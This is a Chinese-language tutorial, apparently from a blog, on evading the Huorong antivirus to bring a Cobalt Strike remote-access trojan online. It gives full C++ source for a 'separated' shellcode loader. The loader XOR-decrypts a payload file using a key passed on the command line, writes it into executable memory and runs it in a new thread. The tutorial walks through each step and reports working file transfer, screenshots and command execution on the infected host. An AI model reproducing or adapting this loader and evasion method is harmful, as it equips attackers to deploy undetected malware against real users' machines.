前言
上次演示如何绕过360执行shellcode,然而那个方式对火绒却不起任何作用。所以本次以绕过火绒为目的,上线远程木马
火绒有一个特点,在文件落地时会模拟执行一次文件。像是一个本地沙箱,如果命中规则或检测到特征即判定为木马
准备工作
搭建一个Cobalt Strike,如何搭建或了解CS。网上大把教程
以RAW形式生成一个CS的shellcode
将生成的.bin文件复制出来,可以发现这时候火绒落地秒杀
(暂时关掉火绒,把.bin文件拖到我们另一台虚拟机上准备做处理)
处理shellcode
这里依然使用010Editor异或的方式将.bin文件逐一字节进行加密。记住这里的0x23,后面的loader执行程序的时候需要用到
加密后拖出虚拟机,文件落地瞬间火绒没有对我们的bin文件标记。说明已经不认识了
ShellLoaer代码实现
这里我们要实现一个接收参数的解密程序。接收的参数为我们的shellcode解密字节
size_t GetSize(char* szFilePath) //获取文件大小
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END);
size = ftell(f);
rewind(f);
fclose(f);
return size;
}
unsigned char* ReadBinaryFile(char* szFilePath, size_t* size) //读取文件
{
unsigned char* p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath);
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
return 0;
}
p = new unsigned char[*size];
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
bool Is_File_Exist(const std::string& file_path) //判断指定文件是否存在
{
std::ifstream file(file_path.c_str());
return file.good();
}
int main(int argc, char* argv[])
{
if (argc != 2) {
return 0;
}
unsigned char* BinData = NULL;
size_t size = 0;
char szFilePath[] = "123.bin"; //文件名字
// 从命令行参数获取异或
unsigned char xorKey;
if (sscanf(argv[1], "%hhX", &xorKey) != 1) {
printf("Invalid xor_key format.\n");
return 1;
}
BinData = ReadBinaryFile(szFilePath, &size); //读取指定文件
LPSTR buf = (LPSTR)malloc(size); //文件存放内存(未解密前)
LPSTR slcbuf = (LPSTR)malloc(size); //文件存放内存(解密后)
buf = (LPSTR)BinData;
LPVOID shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//printf(" ptr :%p", shellcode_addr); //getchar();
for (size_t i = 0; i < size; i++)
{
slcbuf[i] = buf[i] ^ xorKey; //逐一字节异或解密
}
memcpy(shellcode_addr, slcbuf, size);
HANDLE hThread;
DWORD dwThreadId;
hThread = CreateThread(NULL, NULL,
(LPTHREAD_START_ROUTINE)shellcode_addr, NULL, NULL, &dwThreadId); //创建线程,线程回调指向shellcode
WaitForSingleObject(hThread, INFINITE);
}
loader测试
既然程序都写完了。测试才是硬道理
将Loader和shellcode放在同目录下
- 先用火绒右键扫描一次,无警告
- Loader测试,调用cmd窗口。输入shellloader.exe 23(23作为解密参数)
回车,执行上线!火绒全盘快速扫描也没有检测到。CS所有功能正常
文件浏览,下载上传,屏幕截图,执行命令等都没问题
完事
这种方式称为分离免杀,即loader + shellcode两个文件
我们的木马可以是一张图片,一个文档,或任意文件。
loader只做两件事读取文件到内存,解密执行代码
由于我们的loader里面没有任何异常的行为,并不会被检测查杀。所以只需要将shellcode处理好。
在火绒模拟执行时,缺失执行参数所以木马并不会被执行。这就导致我们可以顺利执行shellcode